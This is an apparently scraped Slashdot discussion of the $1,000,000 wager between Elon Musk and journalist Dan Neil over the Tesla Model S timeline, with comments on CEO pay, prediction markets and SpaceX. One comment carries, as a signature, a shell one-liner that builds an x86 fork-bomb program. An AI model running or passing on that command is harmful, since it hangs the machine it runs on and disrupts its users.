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Tesla CEO Wrong About Model S Timeline? $1,000,000 Says Yes
thecarchik writes with the snarky-sounding claim that Elon Musk, CEO of electric-car startup Tesla Motors, sometimes says "things that later prove not to be quite true." thecarchik continues: In that, he's like many entrepreneurs, who spend a portion of their time persuading the unconvinced and painting pictures of the rosy future, despite inconvenient facts that may contradict that vision of the future. And in the case of the 2012 Tesla Model S all-electric sports sedan, which Tesla says it will launch before the end of next year, skeptics abound. Pulitzer Prize wining Journalist Dan Neil said the schedule promised by Musk was 'an audacious timeline that makes many in the car industry roll their eyes.' And, he added, 'Even people inside Tesla are leery.' The implication was clear: Neil didn't believe Tesla would be able to deliver on Musk's promises. A week later, Musk e-mailed Neil and told him in no uncertain terms that he was wrong. After several lively rounds of e-mail, he challenged Musk to a $1 million bet on the outcome based on the Tesla Model S hitting 4 targets. If the Tesla Model S misses any of the targets, Neil wins the bet." I'd like to see many more media statements backed by explicit wagers, and not just the indirect gamble of the stock market.
The system now is broken. Today's CEO get paid multi-million dollar bonuses win, lose or draw. Someone has to lose, and right now that is the rest of us. Every CEO should be given an agreed goal, and their bonus works both ways. If they achieve it they win their bonus, if they lose they pay out. How much more effective would executives be under this system? It would certainly weed about the bullshit-artists and big talkers.
I hope they were in a state where wagering is legal. Otherwise, a public bet like that should be for token gifts and/or bragging rights.
...to say that I, for one, welcome our new electric-powered gambling overlords. That's some good publicity they've both got there. I'm sure this will help push preorders along for Tesla.
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Here's their market for Gaddaffi no longer be Libyan leader by the end of August 2011
https://data.intrade.com/graphing/jsp/closingPricesForm.jsp?contractId=750841&tradeURL=https://www.intrade.com
The value of the contract can be interpreted as the market's perception of the probability of the event.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I'd like to see many more media statements backed by explicit wagers, and not just the indirect gamble of the stock market.
What?
Is Timothy seriously saying he wants journalists to have a direct financial stake in the outcome of the events they cover?
It also sounds like he's saying most journalists gamble on their reporting by investing in the stock market. Reputable publications tend to have ethics policies that forbid that.
Whether Tesla ships its car or not, this whole "bet" is nothing more than a self-promotional push by a conceited glory-hound.
Breakfast served all day!
I'm too lazy to do the research but $1000 is probably a greater percentage of the reporter's net worth than the million is a percentage of Musk's net worth. (Yeah, that's horrible grammar but I'm too lazy to fix it.)
How dare they make a bet to donate to a charitable organization that brings health care to the poor and underprivileged all around the world! The rich bastards!
FanFictionRecs.net
Musk is no fool. The dates matter far less than not delivering an electric Edsel. Musk may be betting that a big auto manufacturer (not necessarily Toyota) buys Tesla before the end of 2012. Once he has a mainstream luxury vehicle, Tesla will suddenly need a luxury dealer network to support it. That means everything from showrooms to parts warehouses. He doesn't have the capital for that, and there is no reason to build out when others have so much capacity (e.g., Chrysler). If oil stays above $100/barrel for very long, then Tesla's sale may be a much better bet than the 2012 delivery of that car.
Electric Cars, are so 1900's, silly Elon, trusting the green jobs hoopla. SpaceX (Another company Elon owns) put a capsule in orbit and brought it back on target. Has any other company achieved that?
For in politics, as in religion, it is equally absurd to aim at making proselytes by fire and sword. - Publius
Well, that's thousand to 1 odds -- which is a fair wager if he thinks Musk has a 0.0909...% chance of failing. Doesn't necessarily mean he's being a pussy, just that he's extremely confident Musk will meet all the targets.
Read the article! It's not a symmetrical bet. $1,000 says yes, $1,000,000 says NO!
Cut the poor red guy some slack, he's not a native speaker.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
SpaceX gets $1.6B of government money (aka cash from the pockets of the masses) and you hold them forward as a model of how to do things without taking money from our pockets?
This doesn't make any sense.
The 787 was finished (approved for sale) today. 3 years late, but better late than never I guess. "Literally to save their lives" is some kind of crazy hyperbole I can't understand.
It's kinda funny you hold SpaceX forth as amazing when what they've done is deliver a private rocket program 10 years after your whipping boy Boeing (with Sea Launch) and Tesla has delivered an electric car 10 years after another of your whipping boys, GM did. Oh yeah, and Tesla also took $465M in government money "from the pockets of the masses" to make the Model S. And that doesn't even count the handouts California gave them in their sweetheart deal for NUMMI.
http://lkml.org/lkml/2005/8/20/95
That one made me suspicious, since all of the Model S concepts I've seen were for a 4-door hatchback. But it seems that Tesla published plans to (optionally) fit two rear-facing kid seats in the 'boot'.
That is completely incorrect. $1,000 says yes.
If the wager is accepted $1,000,000 would be saying NO, he is NOT wrong.
Elon Musk sure has to put up with a lot of you-know-what. First, he went through that ugly divorce, where his ex-wife blogged about all his dirty laundry. Then, he had to pilot his two fledgling companies through near-bankruptcy in the worst financial environment since the Great Depression. Then, some Venturebeat journalist developed a personal vendetta for some reason, and starting scaring away investors. Now, he has this naysaying LA Times journalist crawling up his ass. I mean, the guy's got #billionairerproblems
So what if Tesla's production schedule slips by six months? Delays are extremely common in bleeding-edge research. So the Tesla slips into 2013. That's only a decade sooner than anyone ever dreamed we'd see practical elecric cars! Let's all pile on Musk because it took him an extra few months with his plan to save all our asses from climate change.
Just look at these pictures of Musk and Neil, and tell me who's the asshole here?
...it should be illegal for entrepreneurs to be optimistic. They should be legally obligated to know the realistic probabilities of their endeavors' success based on hindsight available years later.
If I wanted a sig I would have filled in that stupid box.
If Musk makes the charitable contribution, it will be a $1m tax deduction, which is accounted for by reducing the net pre-tax income. Given that SpaceX and Tesla are both in startup phase, I doubt he's drawing any kind of significant salary. Even given his cash-out of eBay stock for living expenses and the capital gains involved, the deduction will probably offset his total income for the year, resulting in zero taxes.
The money isn't free -- he could buy expensive cars with it and pay taxes -- but it is significantly discounted.
If I wanted a sig I would have filled in that stupid box.
Oh, right, it's one of those "figurative" bets.
If you were blocking sigs, you wouldn't have to read this.
Have you ever had a project fail? How prominently do you feature it on your resume?
Alternatively, if you're too young to have had a failure, do you plan to emphasize your failures in future resumes?
If I wanted a sig I would have filled in that stupid box.
Honestly that $1M will do more good being put to work building electric cars or cheap access to space. There will always be poor sick people. If a large portion of funds were given to the poor and needy we wouldn't have money to grow technology and as a country we would be bankrupt. Oh wait... Crap.
I love Jesus, except for his foreign policy.
I have generally have disdain for most CEOs who are just in their position from being part of the old boys network.
But Musk seems to be the real deal. Someone with vision, engineering chops, and the business acumen to actually execute on that vision.
Yet he still falls into the trap of feeding the trolls.
Seriously hiccups happen. There could be some regulatory hiccup, the price of aluminum could shoot up... Many things beyond Musks control. Why enrich a thorn in your side. This bet seems childish and ill conceived.
I would expect the Wall Street Journal to cover the $1000. It would be nicer though if Neil put down at least $100 of his own (or work out how much of his worth is equivalent to $1m of the Tesla CEOs) and have the paper make it up to $10k (given the winnings go to charity). The publicity from this story alone, let alone the follow up if and when the bet is settled, would no doubt be worth it.
Never underestimate the dark side of the Source
SpaceX has already delivered on its promises with the Falcon I and the Falcon V and the dragon test flight to the ISS is scheduled for this year.
Paypal is a con job? Apparently Ebay doesnt think so neither does most of the people who use it.
The truth is hes putting his name and his money on the line which is more than I can say for you.
And if the journalist loses, will he pay Tesla $1 million? I'd like to see that more, to keep the media honest.
... it must be recognized that most individuals apply the principle of the "noble lie", (http://en.wikipedia.org/wiki/Noble_lie), to their own circumstances as readily as politicians do to the ship of state. "A deception to promote harmony and understanding, that's all, honest." It's a toxic fraud in either case.
If i would be on the board of investors of the company i would congratulate the CEO for getting such attention and make an agreement that if he loses he will get the million back. How much is it worth to be in the tech news and have a CEO betting one million on keeping some deadline.
Heck, i would even intentionally miss the deadline by a few weeks for the publicity.
I beg to differ.
Remember that phone calls from Obama are local calls now.
treat sports and movie stars differently than they do people who run large corporations. Just like stars on a team or screen there are so very few who make it truly big. Most are just B-Actors/Second Team people. Then you have the myriad of support people, people who want to be part of the industry (film/sports/etc) but don't have the talent or the drive (never underestimate that - that is where most fail) to reach for the top.
Yeah the dollar amounts can be silly at times but I don't care. I am not in that league. I do as well as I AM capable of. I work at large fortune 500 company and the guys truly at the top don't see forty hour weeks unless they are on vacation, most are seeing 50+ and they have been doing for a long long time. Far too many people punch in their forty hours and quit. Just like building a house, you don't build your career all at once. Its an investment, some are just putting in far more than others and people rarely credit that time.
* Winners compare their achievements to their goals, losers compare theirs to that of others.
It seems the Model S just gets better looking with each iteration as it comes closer to production. Now it looks a lot like the last Maserati sedan I saw. That said I still can't afford one and the closest dealer is not even remotely close to where I live.
Damn_registrars has no butt-hole. Damn_registrars has no use for a butt-hole.
I'd like to see many more media statements backed by explicit wagers, and not just the indirect gamble of the stock market.
Cool! News journalists gambling!
After that, we can turn them into whores. Oh, wait... they already are.
Okay, then maybe we can get news journalists to get involved in illegal drug sales.
Listen, news reporting already lacks credibility and reeks of amateurism... let's not get excited and start hoping that it gets worse.
Must reminds me a little bit of Howard Hughes. Not that I knew him, I'm basing the opinion on what I've read about Hughes.
No, I just plan not to feed the world pipe dreams :)
There's a difference between a project that is entirely feasible but in the end doesn't pan out for whatever reason, and a project that nobody expects to work - or if it does work to be impractical in reality - and have fail for exactly the reasons people say.
That said - you're right. Given his new direction, I wouldn't think he'd want potential clients to see, as one of the things, a much-hyped and publicized product that ultimately went nowhere. Unless that brought in a lot of VC - then that's exactly what I'd want to see ;)
I feel so manipulated by this article. It's like my legs and my, for lack of a better word, dick...are both being tugged. I don't know if there is an appropriate response.
This could possibly be the best $1,000,000 investment I've seen this week. Just imagine (or view) all the publicity this will bring, and what better way to infuse shareholders with the verve to stick in this tumbledown economy? Maybe I'm old fashioned, but having a CEO get behind me as an engineer or other worker like this would definitely boost my morale. Sure, other CEO's are betting their stock options every day, but that's not very sexy is it? But 1,000 stacks says business in terms I grok.